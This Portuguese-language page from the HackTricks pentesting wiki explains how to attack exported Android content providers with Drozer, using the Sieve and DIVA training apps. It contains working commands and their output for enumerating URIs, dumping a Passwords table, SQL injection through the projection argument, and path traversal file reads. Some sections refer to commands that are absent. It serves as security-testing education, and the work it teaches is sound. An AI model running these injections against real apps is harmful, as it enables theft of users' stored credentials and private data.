Exploiting Content Providers
Reading time: 5 minutes
Exploiting Content Providers
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Intro
Os dados são fornecidos de um aplicativo para outros mediante solicitação por um componente conhecido como content provider. Essas solicitações são gerenciadas através dos métodos da ContentResolver class. Os content providers podem armazenar seus dados em vários locais, como um banco de dados, arquivos ou através de uma rede.
No arquivo Manifest.xml, a declaração do content provider é necessária. Por exemplo:
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
Para acessar content://com.mwr.example.sieve.DBContentProvider/Keys
, a permissão READ_KEYS
é necessária. É interessante notar que o caminho /Keys/
é acessível na seção seguinte, que não está protegida devido a um erro do desenvolvedor, que protegeu /Keys
mas declarou /Keys/
.
Talvez você possa acessar dados privados ou explorar alguma vulnerabilidade (SQL Injection ou Path Traversal).
Obter informações de provedores de conteúdo expostos
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
É possível juntar como acessar o DBContentProvider começando URIs com “content://”. Essa abordagem é baseada em insights obtidos ao usar o Drozer, onde informações chave estavam localizadas no diretório /Keys.
Drozer pode adivinhar e tentar várias URIs:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Você também deve verificar o código do ContentProvider para procurar por consultas:
Além disso, se você não conseguir encontrar consultas completas, pode verificar quais nomes são declarados pelo ContentProvider no método onCreate
:
A consulta será como: content://name.of.package.class/declared_name
Content Providers baseados em Banco de Dados
Provavelmente, a maioria dos Content Providers é usada como interface para um banco de dados. Portanto, se você puder acessá-lo, poderá extrair, atualizar, inserir e excluir informações.
Verifique se você pode acessar informações sensíveis ou tente alterá-las para contornar mecanismos de autorização.
Ao verificar o código do Content Provider, procure também por funções nomeadas como: query, insert, update e delete:
Porque você poderá chamá-las
Consultar conteúdo
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
Inserir conteúdo
Consultando o banco de dados, você aprenderá o nome das colunas, então, você poderá inserir dados no DB:
Observe que em insert e update você pode usar --string para indicar string, --double para indicar um double, --float, --integer, --long, --short, --boolean
Atualizar conteúdo
Sabendo o nome das colunas, você também pode modificar as entradas:
Deletar conteúdo
SQL Injection
É simples testar para SQL injection (SQLite) manipulando os campos de projeção e seleção que são passados para o content provider.
Ao consultar o Content Provider, há 2 argumentos interessantes para buscar informações: --selection e --projection:
Você pode tentar abusar desses parâmetros para testar SQL injections:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
Descoberta automática de SQL Injection pelo Drozer
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
Provedores de Conteúdo Baseados em Sistema de Arquivos
Os provedores de conteúdo também podem ser usados para acessar arquivos:
Ler arquivo
Você pode ler arquivos do Provedor de Conteúdo
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Path Traversal
Se você pode acessar arquivos, pode tentar abusar de um Path Traversal (neste caso, isso não é necessário, mas você pode tentar usar "../" e truques semelhantes).
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Descoberta automática de Path Traversal pelo Drozer
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
Referências
- https://www.tutorialspoint.com/android/android_content_providers.htm
- https://manifestsecurity.com/android-application-security-part-15/
- https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.